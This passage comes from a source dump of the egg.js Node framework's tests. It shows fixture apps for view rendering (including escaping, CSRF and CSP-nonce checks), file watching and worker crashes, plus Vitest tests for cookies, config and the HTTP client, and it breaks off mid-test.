    "path": "packages/egg/test/fixtures/apps/view-render/app/controller/xss.js",
    "content": "module.exports = async function () {\n  await this.render('xss.html', {\n    url: 'http://alipay.com/index.html?a=<div>',\n    html: '<div id=\"a\">\\'a\\'</div>',\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/extend/helper.js",
    "content": "exports.test = function (name) {\n  return 'test-' + name + '@' + this.app.config.baseDir;\n};\n\nexports.test_safe = function (name) {\n  return this.safe('<div>' + name + '</div>');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', app.controller.home);\n  app.get('async', '/async', 'async.index');\n  app.get('empty', '/empty', app.controller.empty);\n  // app.get('/only_require', app.controller.onlyRequire);\n  app.get('/xss', app.controller.xss);\n  app.post('/context', app.controller.context);\n  app.get('/sjs', app.controller.sjs);\n  app.get('/shtml', app.controller.shtml);\n  app.get('/locals', app.controller.locals);\n  app.get('/string', app.controller.string);\n  app.get('/form_csrf', app.controller.csrf);\n  app.get('/nonce', app.controller.nonce);\n  app.get('/inject', app.controller.inject);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/a.html",
    "content": "aaa\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/form_csrf.html",
    "content": "<form id=\"form1\" method=\"post\">\n  <input type=\"text\" name=\"foo\" value=\"bar\" />\n</form>\n<form id=\"form2\">\n  <input type=\"hidden\" data-a=\"a\" name=\"_csrf\" value=\"{{ctx.csrf}}\" />\n</form>\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/index.html",
    "content": "Hi, {{name}} test-app-helper: {{helper.test('bar')}} raw: {{helper.test_safe('dar')}} {{copyright}}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/inject.html",
    "content": "ctx: {{ ctx != undefined }} request: {{ request != undefined }} helper: {{ helper != undefined }} helperFn: {{\nhelper.test != undefined }}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/locals.html",
    "content": "name: {{ ctx.app.config.name }} ctx.request: {{ true if ctx.request else false }} request.querystring: {{\nrequest.querystring }} helper.lower: {{ helper.lower('Hello World') }} ctx.state.foo: {{foo}} ctx.locals.bar: {{bar}}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/nonce.html",
    "content": "<input id=\"input1\" type=\"hidden\" name=\"nonce\" value=\"{{ctx.nonce}}\" />\n<script id=\"script1\" src=\"a.js\"></script>\n<script id=\"script2\" type=\"text/javascript\">\n  var a = 1;\n</script>\n<script id=\"script3\" nonce=\"{{ctx.nonce}}\">\n  var b = 2;\n</script>\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/shtml.html",
    "content": "{{helper.shtml(foo)}}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/sjs.html",
    "content": "var foo = \"{{ helper.sjs(foo) }}\";\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/app/view/xss.html",
    "content": "{{ url }} {{ url | safe }} {{ helper.surl(url) }} {{ html }}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/config/config.default.js",
    "content": "exports.security = {\n  csp: {\n    enable: true,\n  },\n};\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/config/plugin.js",
    "content": "'use strict';\n\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/view-render/package.json",
    "content": "{\n  \"name\": \"view-render\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/agent.js",
    "content": "const path = require('node:path');\n\nconst file_path1 = path.join(__dirname, 'tmp-agent.txt');\nconst dir_path = path.join(__dirname, 'tmp-agent');\n\nmodule.exports = function (agent) {\n  let count = 0;\n  function listener() {\n    count++;\n  }\n\n  agent.messenger.on('i-want-agent-file-changed-count', function () {\n    agent.messenger.broadcast('agent-file-changed-count', count);\n  });\n\n  agent.messenger.on('agent-watch', function () {\n    agent.watcher.watch([file_path1, dir_path], listener);\n    agent.messenger.broadcast('agent-watch-success', 'agent watch success');\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/app/router.js",
    "content": "const path = require('node:path');\n\nconst file_path1 = path.join(__dirname, '../tmp.txt');\nconst dir_path = path.join(__dirname, '../tmp');\n\nmodule.exports = function (app) {\n  let fileChangeCount = 0;\n\n  function callback(a) {\n    fileChangeCount++;\n  }\n\n  app.get('/app-watch', async function () {\n    app.watcher.watch([file_path1, dir_path], callback);\n    this.body = 'app watch success';\n  });\n\n  app.get('/app-msg', async function () {\n    this.body = fileChangeCount;\n  });\n\n  app.get('/agent-watch', async function () {\n    app.messenger.broadcast('agent-watch');\n    this.body = await new Promise(function (resolve) {\n      app.messenger.on('agent-watch-success', function (msg) {\n        resolve(msg);\n      });\n    });\n  });\n\n  app.get('/agent-msg', async function () {\n    app.messenger.broadcast('i-want-agent-file-changed-count');\n    this.body = await new Promise(function (resolve) {\n      app.messenger.on('agent-file-changed-count', function (msg) {\n        resolve(msg);\n      });\n    });\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/config/config.unittest.js",
    "content": "exports.env = 'local';\n\nexports.watcher = {\n  type: 'development',\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/package.json",
    "content": "{\n  \"name\": \"watcher-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/tmp/tmp.txt",
    "content": "aaa"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/tmp-agent/tmp.txt",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/tmp-agent.txt",
    "content": "bbb"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-development-app/tmp.txt",
    "content": "aaa"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-type-default/config/config.unittest.js",
    "content": "'use strict';\n\nexports.watcher = {\n  type: 'default',\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/watcher-type-default/package.json",
    "content": "{\n  \"name\": \"watcher-type-default\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/worker-die/app.js",
    "content": "throw new Error('dddd');\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/worker-die/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/worker-die/package.json",
    "content": "{\n  \"name\": \"worker-die\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/custom-egg/index.js",
    "content": "'use strict';\n\nmodule.exports = require('../../../index');\nmodule.exports.Application = class Application extends module.exports.Application {\n  constructor(...args) {\n    super(...args);\n    this.customEgg = true;\n  }\n\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/custom-egg/package.json",
    "content": "{\n  \"name\": \"custom-egg\"\n}\n"
  },
  {
    "path": "packages/egg/test/index.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport * as egg from '../src/index.ts';\n\ntest('should expose properties', () => {\n  expect(egg).toMatchSnapshot();\n  expect(egg.Context).toBeDefined();\n});\n"
  },
  {
    "path": "packages/egg/test/lib/__snapshots__/define_config.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/lib/define_config.test.ts > defineConfig > should preserve type safety for built-in config options 1`] = `\n{\n  \"httpclient\": {\n    \"timeout\": 5000,\n  },\n  \"keys\": \"test-key\",\n  \"logger\": {\n    \"consoleLevel\": \"INFO\",\n    \"level\": \"DEBUG\",\n  },\n  \"middleware\": [\n    \"cors\",\n    \"bodyParser\",\n  ],\n}\n`;\n\nexports[`test/lib/define_config.test.ts > defineConfig > should work with config factory function 1`] = `\n{\n  \"appCustomConfig\": {\n    \"myConfig\": \"myConfig\",\n  },\n  \"env\": \"unittest\",\n  \"keys\": \"testapp_keys\",\n  \"logger\": {\n    \"consoleLevel\": \"WARN\",\n    \"level\": \"DEBUG\",\n  },\n  \"middleware\": [],\n}\n`;\n\nexports[`test/lib/define_config.test.ts > defineConfig > should work with config object 1`] = `\n{\n  \"appCustomConfig\": {\n    \"myConfig\": \"myConfig\",\n  },\n  \"customLogger\": {\n    \"myLogger\": {\n      \"file\": \"my.log\",\n    },\n  },\n  \"dump\": {\n    \"ignore\": Set {\n      \"keys\",\n    },\n    \"timing\": {\n      \"slowBootActionMinDuration\": 1000,\n    },\n  },\n  \"keys\": \"my-keys\",\n  \"logger\": {\n    \"consoleLevel\": \"DEBUG\",\n    \"disableConsoleAfterReady\": true,\n    \"level\": \"DEBUG\",\n  },\n  \"middleware\": [\n    \"cors\",\n  ],\n}\n`;\n\nexports[`test/lib/define_config.test.ts > defineConfig > should work with mixed config and bizConfig 1`] = `\n{\n  \"customSetting\": true,\n  \"keys\": \"myapp_keys\",\n  \"logger\": {\n    \"consoleLevel\": \"INFO\",\n    \"disableConsoleAfterReady\": true,\n    \"level\": \"DEBUG\",\n  },\n  \"middleware\": [],\n  \"sourceUrl\": \"https://example.com/myapp\",\n}\n`;\n"
  },
  {
    "path": "packages/egg/test/lib/core/config/config.cookies.test.ts",
    "content": "import { test, beforeAll, afterAll, expect } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../../utils.ts';\n\nlet app: MockApplication;\nbeforeAll(() => {\n  app = createApp('apps/app-config-cookies');\n  return app.ready();\n});\nafterAll(() => app.close());\n\ntest('should auto set sameSite cookie', async () => {\n  const res = await app.httpRequest().get('/');\n  expect(res.status).toBe(200);\n  expect(res.text).toBe('hello');\n  const cookies = res.headers['set-cookie'];\n  expect(cookies.length >= 1);\n  for (const cookie of cookies) {\n    expect(cookie).toMatch('; samesite=lax');\n  }\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/config/config.test.ts",
    "content": "import { test, beforeAll, afterAll, expect } from 'vitest';\n\nimport { type MockApplication, createApp } from '../../../utils.ts';\n\nlet app: MockApplication;\nbeforeAll(() => {\n  app = createApp('apps/demo');\n  return app.ready();\n});\nafterAll(() => app.close());\n\ntest('should return config.name', () => {\n  expect(app.config.name).toBe('demo');\n  expect(app.config.logger.disableConsoleAfterReady).toBe(false);\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/context_httpclient.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { test, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, startLocalServer, type MockApplication } from '../../utils.ts';\n\nlet url: string;\nlet app: MockApplication;\n\nbeforeAll(async () => {\n  app = createApp('apps/context_httpclient');\n  await app.ready();\n  url = await startLocalServer();\n});\n\nafterAll(() => app.close());\n\ntest('should send request with ctx.httpclient', async () => {\n  const ctx = app.mockContext();\n  const httpclient = ctx.httpclient;\n  assert.equal(ctx.httpclient, httpclient);\n  assert.equal((httpclient as any).ctx, ctx);\n  assert.equal(typeof httpclient.request, 'function');\n  assert.equal(typeof httpclient.curl, 'function');\n  const result = await ctx.httpclient.request(url);\n  assert.equal(result.status, 200);\n  const result2 = await ctx.httpclient.curl(url);\n  assert.equal(result2.status, 200);\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/context_performance_starttime.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.js';\n\ndescribe('test/lib/core/context_performance_starttime.test.ts', () => {\n  let app: MockApplication;\n\n  beforeAll(() => {\n    app = createApp('apps/app-enablePerformanceTimer-true');\n    return app.ready();\n  });\n\n  it('should set ctx.performanceStarttime', () => {\n    const ctx = app.mockContext();\n    assert(ctx.performanceStarttime);\n    assert.equal(typeof ctx.performanceStarttime, 'number');\n    assert(typeof ctx.performanceStarttime === 'number' && ctx.performanceStarttime > 0);\n  });\n\n  it('should use ctx.performanceStarttime on controller', async () => {\n    const res = await app.httpRequest().get('/');\n    assert.equal(res.status, 200);\n    assert.match(res.text, /hello performanceStarttime: \\d+\\.\\d+/);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/cookies.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication, getFilepath } from '../../utils.ts';\n\ndescribe('test/lib/core/cookies.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('secure = true', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/secure-app');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should throw TypeError when set secure on not secure request', () => {\n      const ctx = app.mockContext();\n      assert.throws(() => {\n        ctx.cookies.set('foo', 'bar', { secure: true });\n      }, /Cannot send secure cookie over unencrypted connection/);\n    });\n\n    it('should set cookie twice and not set domain when ctx.hostname=localhost', () => {\n      const ctx = app.mockContext();\n      ctx.set('Set-Cookie', 'foo=bar');\n      ctx.cookies.set('foo1', 'bar1');\n      assert.deepEqual(ctx.response.get('set-cookie'), [\n        'foo=bar',\n        'foo1=bar1; path=/; httponly',\n        'foo1.sig=Fqo9DaOWFOs3Gxsv0OHgyhhnJrjuY8jItBdSO-5WRgM; path=/; httponly',\n      ]);\n    });\n\n    it.skip('should log CookieLimitExceed error when cookie value too long', async () => {\n      const ctx = app.mockContext();\n      const value = Buffer.alloc(4094).fill(49).toString();\n      ctx.cookies.set('foo', value);\n      const logPath = path.join(getFilepath('apps/secure-app'), 'logs/secure-app/common-error.log');\n      const content = fs.readFileSync(logPath, 'utf8');\n      assert.match(content, /CookieLimitExceedError: cookie foo's length\\(4094\\) exceed the limit\\(4093\\)/);\n    });\n\n    it('should throw TypeError when set encrypt on keys not exists', () => {\n      mm(app, 'keys', null);\n      const ctx = app.mockContext();\n      assert.throws(() => {\n        ctx.cookies.set('foo', 'bar', {\n          encrypt: true,\n        } as any);\n      }, /\\.keys required for encrypt\\/sign cookies/);\n    });\n\n    it('should throw TypeError when get encrypt on keys not exists', () => {\n      mm(app, 'keys', null);\n      const ctx = app.mockContext();\n      ctx.header.cookie = 'foo=bar';\n      assert.throws(() => {\n        ctx.cookies.get('foo', {\n          encrypt: true,\n        } as any);\n      }, /\\.keys required for encrypt\\/sign cookies/);\n    });\n\n    it('should not set secure when request protocol is http', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?setCookieValue=foobar')\n        .set('Host', 'demo.eggjs.org')\n        .set('X-Forwarded-Proto', 'http')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(cookie, 'foo-cookie=foobar; path=/; httponly');\n    });\n\n    it('should set secure:true and httponly cookie', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?setCookieValue=foobar')\n        .set('Host', 'demo.eggjs.org')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(cookie, 'foo-cookie=foobar; path=/; secure; httponly');\n    });\n\n    it('should set cookie with path: /cookiepath/ok', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?cookiepath=/cookiepath/ok')\n        .set('Host', 'demo.eggjs.org')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert(cookie.match(/^cookiepath=\\/cookiepath\\/ok; path=\\/cookiepath\\/ok; secure; httponly$/));\n    });\n\n    it('should delete cookie', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?cookiedel=true')\n        .set('Host', 'demo.eggjs.org')\n        .set('Cookie', 'cookiedel=true')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(cookie, 'cookiedel=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; secure; httponly');\n      const expires = cookie.match(/expires=([^;]+);/)![1];\n      assert.equal(new Date() > new Date(expires), true);\n    });\n\n    it('should delete cookie with options', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?cookiedel=true&opts=true')\n        .set('Host', 'demo.eggjs.org')\n        .set('Cookie', 'cookiedel=true; path=/hello; domain=eggjs.org; expires=30')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(\n        cookie,\n        'cookiedel=; path=/hello; expires=Thu, 01 Jan 1970 00:00:00 GMT; domain=eggjs.org; secure; httponly',\n      );\n      const expires = cookie.match(/expires=([^;]+);/)![1];\n      assert.equal(new Date() > new Date(expires), true);\n    });\n\n    it('should set cookie with domain: okcookie.eggjs.org', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?cookiedomain=okcookie.eggjs.org&cookiepath=/')\n        .set('Host', 'demo.eggjs.org')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(cookie, 'cookiepath=/; path=/; domain=okcookie.eggjs.org; secure; httponly');\n    });\n\n    it('should not set domain and path', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/?notSetPath=okok')\n        .set('Host', 'demo.eggjs.org')\n        .set('X-Forwarded-Proto', 'https')\n        .expect('hello mock secure app')\n        .expect(200);\n      const cookie = res.headers['set-cookie'][0];\n      assert(cookie);\n      assert.equal(cookie, 'notSetPath=okok; secure; httponly');\n    });\n  });\n\n  describe('secure = false', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should set secure:false cookie', async () => {\n      const res = await app.httpRequest().get('/hello').set('Host', 'demo.eggjs.org').expect('hello').expect(200);\n      const cookies = res.headers['set-cookie'] as unknown as string[];\n      const cookie = cookies.join(';');\n      assert(cookie);\n      assert(cookie.match(/hi=foo; path=\\/; httponly/));\n    });\n  });\n\n  describe('encrypt = true', () => {\n    let app: MockApplication;\n\n    beforeAll(() => {\n      app = createApp('apps/encrypt-cookies');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get encrypt cookie', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          set: 'bar 中文',\n        })\n        .expect(200);\n      const encryptCookie = res.headers['set-cookie'][0];\n      assert(encryptCookie);\n      assert.equal(encryptCookie, 'foo=B9om8kiaZ7Xg9dzTUoH-Pw==; path=/; httponly');\n\n      const plainCookie = res.headers['set-cookie'][1];\n      assert(plainCookie);\n      assert.equal(plainCookie, 'plain=text ok; path=/; httponly');\n\n      const cookies = res.headers['set-cookie'] as unknown as string[];\n      await app\n        .httpRequest()\n        .get('/')\n        .set('Cookie', cookies.join(';'))\n        .expect({\n          set: 'bar 中文',\n          encrypt: 'bar 中文',\n          encryptWrong: 'B9om8kiaZ7Xg9dzTUoH-Pw==',\n          plain: 'text ok',\n        })\n        .expect(200);\n    });\n\n    it('should decode encrypt value fail', async () => {\n      const res = await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          set: 'bar 中文',\n        })\n        .expect(200);\n      const encryptCookie = res.headers['set-cookie'][0];\n      assert(encryptCookie);\n      assert.equal(encryptCookie, 'foo=B9om8kiaZ7Xg9dzTUoH-Pw==; path=/; httponly');\n\n      await app\n        .httpRequest()\n        .get('/')\n        .set('Cookie', 'foo=123123; plain=text ok')\n        .expect({\n          set: 'bar 中文',\n          encryptWrong: '123123',\n          plain: 'text ok',\n        })\n        .expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/custom_loader.test.ts",
    "content": "import { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/lib/core/custom_loader.test.ts', () => {\n  afterEach(mm.restore);\n\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = createApp('apps/custom-loader');\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support customLoader', async () => {\n    await app\n      .httpRequest()\n      .get('/users/popomore')\n      .expect({\n        adapter: 'docker',\n        repository: 'popomore',\n      })\n      .expect(200);\n  });\n\n  it('should loadCustomLoader before loadCustomApp', async () => {\n    await app.httpRequest().get('/beforeLoad').expect('beforeLoad').expect(200);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/dnscache_httpclient.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport http from 'node:http';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication, startNewLocalServer } from '../../utils.js';\n\ndescribe('test/lib/core/dnscache_httpclient.test.ts', () => {\n  let app: MockApplication;\n  let url: string;\n  let serverInfo: { url: string; server: http.Server };\n\n  beforeAll(async () => {\n    app = createApp('apps/dnscache_httpclient');\n    await app.ready();\n    serverInfo = await startNewLocalServer();\n    url = serverInfo.url.replace('127.0.0.1', 'custom-localhost');\n  });\n\n  afterAll(() => {\n    if (serverInfo?.server?.listening) {\n      serverInfo.server.close();\n    }\n  });\n\n  it('should bypass dns resolve', async () => {\n    // will not resolve ip\n    const res = await app.curl(serverInfo.url + '/get_headers', { dataType: 'json' });\n    assert(res.status === 200);\n  });\n\n  it('should curl work', async () => {\n    // will resolve custom-localhost to 127.0.0.1\n    const res = await app.curl(url + '/get_headers', { dataType: 'json' });\n    assert(res.status === 200);\n  });\n\n  it('should safeCurl also work', async () => {\n    // will resolve custom-localhost to 127.0.0.1\n    const res = await app.safeCurl(url + '/get_headers', { dataType: 'json' });\n    assert(res.status === 200);\n  });\n\n  it('should safeCurl also work', async () => {\n    // will resolve custom-localhost to 127.0.0.1\n    const res = await app.safeCurl(url + '/get_headers', { dataType: 'json' });\n    assert(res.status === 200);\n  });\n\n  it('should server down and catch error', async () => {\n    try {\n      if (serverInfo?.server?.listening) await serverInfo.server.close();\n      // will resolve to 127.0.0.1\n      const res = await app.curl(url + '/get_headers', { dataType: 'json' });\n      assert(res.status !== 200);\n    } catch (err: any) {\n      assert(err);\n      assert(err.message.includes('ECONNREFUSED'));\n    }\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/httpclient.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { HttpClient } from 'urllib';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { HttpClient as ContextHttpClient } from '../../../src/lib/core/httpclient.ts';\nimport { startLocalServer, createApp, type MockApplication } from '../../utils.ts';\n\ndescribe.skipIf(process.platform === 'win32')('test/lib/core/httpclient.test.ts', () => {\n  let client: ContextHttpClient;\n  let url: string;\n\n  beforeAll(() => {\n    client = new ContextHttpClient({\n      deprecate: () => {},\n      config: {\n        httpclient: {\n          request: {},\n          httpAgent: {},\n          httpsAgent: {},\n        },\n      },\n    } as any);\n    client.on('request', (info) => {\n      info.args.headers = info.args.headers || {};\n      info.args.headers['mock-traceid'] = 'mock-traceid';\n      info.args.headers['mock-rpcid'] = 'mock-rpcid';\n    });\n  });\n  beforeAll(async () => {\n    url = await startLocalServer();\n  });\n\n  afterEach(mm.restore);\n\n  it.skip('should request ok with log', (done) => {\n    client.once('response', (info) => {\n      assert.equal(info.req.options.headers['mock-traceid'], 'mock-traceid');\n      assert.equal(info.req.options.headers['mock-rpcid'], 'mock-rpcid');\n      // @ts-ignore\n      done();\n    });\n\n    client\n      .request(url, {\n        dataType: 'text',\n      })\n      .then((res) => {\n        assert.equal(res.status, 200);\n      });\n  });\n\n  it('should mock ENETUNREACH error', async () => {\n    mm(HttpClient.prototype, 'request', async () => {\n      const err = new Error('connect ENETUNREACH 1.1.1.1:80 - Local (127.0.0.1)');\n      (err as any).code = 'ENETUNREACH';\n      throw err;\n    });\n    await assert.rejects(\n      async () => {\n        await client.request(url);\n      },\n      (err: any) => {\n        // assert.equal(err.name, 'HttpClientError');\n        assert.equal(err.code, 'ENETUNREACH');\n        // assert.equal(err.message, 'connect ENETUNREACH 1.1.1.1:80 - Local (127.0.0.1) [ https://eggjs.org/faq/httpclient_ENETUNREACH ]');\n        return true;\n      },\n    );\n  });\n\n  it('should handle timeout error', async () => {\n    await assert.rejects(\n      async () => {\n        await client.request(url + '/timeout', { timeout: 100 });\n      },\n      (err: any) => {\n        assert.equal(err.name, 'HttpClientRequestTimeoutError');\n        return true;\n      },\n    );\n  });\n\n  it('should request ok with log', async () => {\n    let info: any;\n    client.once('response', (meta) => {\n      info = meta;\n    });\n    const { status } = await client.request(url, {\n      dataType: 'text',\n    });\n    assert(status === 200);\n    assert(info.req.options.headers['mock-traceid'] === 'mock-traceid');\n    assert(info.req.options.headers['mock-rpcid'] === 'mock-rpcid');\n    assert(info.req.args.headers['mock-traceid'] === 'mock-traceid');\n    assert(info.req.args.headers['mock-rpcid'] === 'mock-rpcid');\n  });\n\n  it('should curl ok with log', async () => {\n    let info: any;\n    client.once('response', (meta) => {\n      info = meta;\n    });\n    const { status } = await client.curl(url, {\n      dataType: 'text',\n    });\n    assert(status === 200);\n    assert(info.req.options.headers['mock-traceid'] === 'mock-traceid');\n    assert(info.req.options.headers['mock-rpcid'] === 'mock-rpcid');\n    assert(info.req.args.headers['mock-traceid'] === 'mock-traceid');\n    assert(info.req.args.headers['mock-rpcid'] === 'mock-rpcid');\n  });\n\n  it('should request with error', async () => {\n    await assert.rejects(\n      async () => {\n        const response = await client.request(url + '/error', {\n          dataType: 'json',\n        });\n        console.log(response);\n      },\n      (err: any) => {\n        assert.equal(err.name, 'JSONResponseFormatError');\n        assert.match(err.message, /this is an error/);\n        assert(err.res);\n        assert.equal(err.res.status, 500);\n        return true;\n      },\n    );\n  });\n\n  describe.skip('httpclient.httpAgent.timeout < 30000', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-agent-timeout-3000');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should auto reset httpAgent.timeout to 30000', () => {\n      // should access httpclient first\n      assert(app.httpclient);\n      assert.equal(app.config.httpclient.timeout, 3000);\n      // @ts-expect-error httpAgent has no type definition\n      assert.equal(app.config.httpclient.httpAgent.timeout, 30000);\n      // @ts-expect-error httpsAgent has no type definition\n      assert.equal(app.config.httpclient.httpsAgent.timeout, 30000);\n    });\n\n    it('should set request default global timeout to 10s', () => {\n      // should access httpclient first\n      assert(app.httpclient);\n      // @ts-expect-error request has no type definition\n      assert.equal(app.config.httpclient.request.timeout, 10000);\n    });\n\n    it('should convert compatibility options to agent options', () => {\n      // should access httpclient first\n      assert(app.httpclient);\n      // @ts-expect-error httpAgent has no type definition\n      assert(app.config.httpclient.httpAgent.freeSocketTimeout === 2000);\n      // @ts-expect-error httpsAgent has no type definition\n      assert(app.config.httpclient.httpsAgent.freeSocketTimeout === 2000);\n\n      // @ts-expect-error httpAgent has no type definition\n      assert(app.config.httpclient.httpAgent.maxSockets === 100);\n      // @ts-expect-error httpsAgent has no type definition\n      assert(app.config.httpclient.httpsAgent.maxSockets === 100);\n\n      // @ts-expect-error httpAgent has no type definition\n      assert(app.config.httpclient.httpAgent.maxFreeSockets === 100);\n      // @ts-expect-error httpsAgent has no type definition\n      assert(app.config.httpclient.httpsAgent.maxFreeSockets === 100);\n\n      // @ts-expect-error httpAgent has no type definition\n      assert(app.config.httpclient.httpAgent.keepAlive === false);\n      // @ts-expect-error httpsAgent has no type definition\n      assert(app.config.httpclient.httpsAgent.keepAlive === false);\n    });\n  });\n\n  describe('httpclient.request.timeout = 100', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-request-timeout-100');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should set request default global timeout to 100ms', async () => {\n      await assert.rejects(\n        async () => {\n          await app.httpclient.curl(`${url}/timeout`);\n        },\n        (err: any) => {\n          assert(err);\n          assert(err.name === 'HttpClientRequestTimeoutError');\n          assert(err.message.includes('Request timeout for 100 ms'));\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('overwrite httpclient', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-overwrite');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should set request default global timeout to 100ms', async () => {\n      await assert.rejects(\n        async () => {\n          await app.httpclient.curl(`${url}/timeout`);\n        },\n        (err: any) => {\n          assert(err);\n          assert(err.name === 'HttpClientRequestTimeoutError');\n          assert(err.message.includes('Request timeout for 100 ms'));\n          return true;\n        },\n      );\n    });\n\n    it('should assert url', async () => {\n      await assert.rejects(\n        async () => {\n          await app.httpclient.curl('unknown url');\n        },\n        (err: any) => {\n          assert(err);\n          assert(err.message.includes('url should start with http, but got unknown url'));\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('overwrite httpclient support useHttpClientNext=true', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/httpclient-next-overwrite');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should set request default global timeout to 99ms', async () => {\n      await assert.rejects(\n        async () => {\n          await app.httpclient.curl(`${url}/timeout`);\n        },\n        (err: any) => {\n          